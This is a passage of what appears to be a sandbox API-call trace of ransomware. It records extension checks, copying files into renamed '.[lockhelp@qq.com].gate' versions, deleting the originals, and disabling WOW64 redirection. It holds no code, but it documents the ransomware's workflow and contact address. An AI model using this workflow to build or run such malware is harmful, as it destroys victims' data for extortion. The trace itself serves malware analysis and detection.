lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0321.587] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0321.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0321.588] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=10240) returned 1 [0321.588] CloseHandle (hObject=0x348) returned 1 [0321.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0321.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0321.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0321.588] lstrlenW (lpString=".doc") returned 4 [0321.588] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.588] lstrlenW (lpString=".docx") returned 5 [0321.588] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.588] lstrlenW (lpString=".pdf") returned 4 [0321.588] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.588] lstrlenW (lpString=".xls") returned 4 [0321.588] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.588] lstrlenW (lpString=".xlsx") returned 5 [0321.588] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.588] lstrlenW (lpString=".ppt") returned 4 [0321.588] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0321.588] lstrlenW (lpString=".zip") returned 4 [0321.588] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.588] lstrlenW (lpString=".rar") returned 4 [0321.588] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.589] lstrlenW (lpString=".bz2") returned 4 [0321.589] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.589] lstrlenW (lpString=".7z") returned 3 [0321.589] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0321.589] lstrlenW (lpString=".dbf") returned 4 [0321.589] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0321.589] lstrlenW (lpString=".1cd") returned 4 [0321.589] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0321.589] lstrlenW (lpString=".jpg") returned 4 [0321.589] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0321.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0321.589] lstrlenW (lpString=".doc") returned 4 [0321.589] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.589] lstrlenW (lpString=".docx") returned 5 [0321.589] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.589] lstrlenW (lpString=".pdf") returned 4 [0321.589] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.589] lstrlenW (lpString=".xls") returned 4 [0321.589] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.589] lstrlenW (lpString=".xlsx") returned 5 [0321.589] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.589] lstrlenW (lpString=".ppt") returned 4 [0321.589] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0321.589] lstrlenW (lpString=".zip") returned 4 [0321.589] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.589] lstrlenW (lpString=".rar") returned 4 [0321.589] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.589] lstrlenW (lpString=".bz2") returned 4 [0321.589] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.590] lstrlenW (lpString=".7z") returned 3 [0321.590] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0321.590] lstrlenW (lpString=".dbf") returned 4 [0321.590] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0321.590] lstrlenW (lpString=".1cd") returned 4 [0321.590] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0321.590] lstrlenW (lpString=".jpg") returned 4 [0321.590] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.590] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0321.590] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0321.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0321.590] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=10752) returned 1 [0321.590] CloseHandle (hObject=0x348) returned 1 [0321.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0321.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0321.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0321.591] lstrlenW (lpString=".doc") returned 4 [0321.591] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.591] lstrlenW (lpString=".docx") returned 5 [0321.591] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.591] lstrlenW (lpString=".pdf") returned 4 [0321.591] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.591] lstrlenW (lpString=".xls") returned 4 [0321.591] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.591] lstrlenW (lpString=".xlsx") returned 5 [0321.591] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.591] lstrlenW (lpString=".ppt") returned 4 [0321.591] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0321.591] lstrlenW (lpString=".zip") returned 4 [0321.591] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.591] lstrlenW (lpString=".rar") returned 4 [0321.591] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.591] lstrlenW (lpString=".bz2") returned 4 [0321.591] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.591] lstrlenW (lpString=".7z") returned 3 [0321.591] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0321.591] lstrlenW (lpString=".dbf") returned 4 [0321.591] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0321.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0321.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 Thread: id = 104 os_tid = 0xd30 [0318.089] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3dd0760 [0318.089] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3de0768 [0318.090] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed7f0 [0318.090] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4e5798 [0318.090] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed808 [0318.090] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x4176020 [0318.092] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed820 [0318.092] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed820, Size=0x20) returned 0x4e9630 [0318.092] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed820 [0318.092] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed820, Size=0x20) returned 0x4e97e8 [0318.092] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0318.092] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0318.092] Wow64DisableWow64FsRedirection (in: OldValue=0x378ff50 | out: OldValue=0x378ff50*=0x0) returned 1 [0318.092] lstrlenW (lpString="kernel32.dll") returned 12 [0318.092] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9630 | out: hHeap=0x490000) returned 1 [0318.092] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0318.092] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e97e8 | out: hHeap=0x490000) returned 1 [0318.093] Sleep (dwMilliseconds=0x64) [0318.360] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0318.360] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0318.360] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0318.360] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=76632) returned 1 [0318.360] CloseHandle (hObject=0x324) returned 1 [0318.360] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0318.361] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.361] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.567] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0318.567] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0318.567] lstrlenW (lpString=".doc") returned 4 [0318.567] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0318.567] lstrlenW (lpString=".docx") returned 5 [0318.567] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0318.567] lstrlenW (lpString=".pdf") returned 4 [0318.567] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0318.567] lstrlenW (lpString=".xls") returned 4 [0318.567] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0318.567] lstrlenW (lpString=".xlsx") returned 5 [0318.567] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0318.567] lstrlenW (lpString=".ppt") returned 4 [0318.567] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0318.567] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0318.567] lstrlenW (lpString=".zip") returned 4 [0318.567] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0318.567] lstrlenW (lpString=".rar") returned 4 [0318.567] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0318.567] lstrlenW (lpString=".bz2") returned 4 [0318.567] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0318.567] lstrlenW (lpString=".7z") returned 3 [0318.567] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0318.567] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0318.567] lstrlenW (lpString=".dbf") returned 4 [0318.567] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0318.567] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0318.567] lstrlenW (lpString=".1cd") returned 4 [0318.567] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0318.568] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0318.568] lstrlenW (lpString=".jpg") returned 4 [0318.568] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0318.568] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0318.568] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0318.568] lstrlenW (lpString=".doc") returned 4 [0318.568] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0318.568] lstrlenW (lpString=".docx") returned 5 [0318.568] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0318.568] lstrlenW (lpString=".pdf") returned 4 [0318.568] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0318.568] lstrlenW (lpString=".xls") returned 4 [0318.568] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0318.568] lstrlenW (lpString=".xlsx") returned 5 [0318.568] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0318.568] lstrlenW (lpString=".ppt") returned 4 [0318.568] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0318.568] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0318.568] lstrlenW (lpString=".zip") returned 4 [0318.568] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0318.568] lstrlenW (lpString=".rar") returned 4 [0318.568] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0318.568] lstrlenW (lpString=".bz2") returned 4 [0318.568] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0318.568] lstrlenW (lpString=".7z") returned 3 [0318.568] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0318.568] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0318.568] lstrlenW (lpString=".dbf") returned 4 [0318.568] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0318.568] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0318.568] lstrlenW (lpString=".1cd") returned 4 [0318.568] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0318.568] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0318.569] lstrlenW (lpString=".jpg") returned 4 [0318.569] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0318.569] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0318.569] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0318.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0318.950] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=21184) returned 1 [0318.950] CloseHandle (hObject=0x350) returned 1 [0318.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0318.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0318.950] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.950] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0318.950] GetLastError () returned 0x0 [0318.950] ReadFile (in: hFile=0x350, lpBuffer=0x4176020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesRead=0x378fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0319.047] WriteFile (in: hFile=0x354, lpBuffer=0x4176020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesWritten=0x378fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0319.048] ReadFile (in: hFile=0x350, lpBuffer=0x4176020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.048] WriteFile (in: hFile=0x354, lpBuffer=0x4176020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesWritten=0x378fc94*=0x122, lpOverlapped=0x0) returned 1 [0319.048] SetEndOfFile (hFile=0x354) returned 1 [0319.048] CloseHandle (hObject=0x354) returned 1 [0319.048] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.048] SetEndOfFile (hFile=0x350) returned 1 [0319.049] CloseHandle (hObject=0x350) returned 1 [0319.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.049] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0319.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0319.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0319.049] lstrlenW (lpString=".doc") returned 4 [0319.049] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.049] lstrlenW (lpString=".docx") returned 5 [0319.049] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.049] lstrlenW (lpString=".pdf") returned 4 [0319.049] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.049] lstrlenW (lpString=".xls") returned 4 [0319.049] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.049] lstrlenW (lpString=".xlsx") returned 5 [0319.050] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.050] lstrlenW (lpString=".ppt") returned 4 [0319.050] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0319.050] lstrlenW (lpString=".zip") returned 4 [0319.050] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.050] lstrlenW (lpString=".rar") returned 4 [0319.050] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.050] lstrlenW (lpString=".bz2") returned 4 [0319.050] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.050] lstrlenW (lpString=".7z") returned 3 [0319.050] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0319.050] lstrlenW (lpString=".dbf") returned 4 [0319.050] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0319.050] lstrlenW (lpString=".1cd") returned 4 [0319.050] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0319.050] lstrlenW (lpString=".jpg") returned 4 [0319.050] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0319.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0319.050] lstrlenW (lpString=".doc") returned 4 [0319.050] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.050] lstrlenW (lpString=".docx") returned 5 [0319.050] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.050] lstrlenW (lpString=".pdf") returned 4 [0319.050] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.050] lstrlenW (lpString=".xls") returned 4 [0319.050] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.050] lstrlenW (lpString=".xlsx") returned 5 [0319.051] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.051] lstrlenW (lpString=".ppt") returned 4 [0319.051] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0319.051] lstrlenW (lpString=".zip") returned 4 [0319.051] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.051] lstrlenW (lpString=".rar") returned 4 [0319.051] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.051] lstrlenW (lpString=".bz2") returned 4 [0319.051] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.051] lstrlenW (lpString=".7z") returned 3 [0319.051] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0319.051] lstrlenW (lpString=".dbf") returned 4 [0319.051] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0319.051] lstrlenW (lpString=".1cd") returned 4 [0319.051] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0319.051] lstrlenW (lpString=".jpg") returned 4 [0319.051] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.051] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned 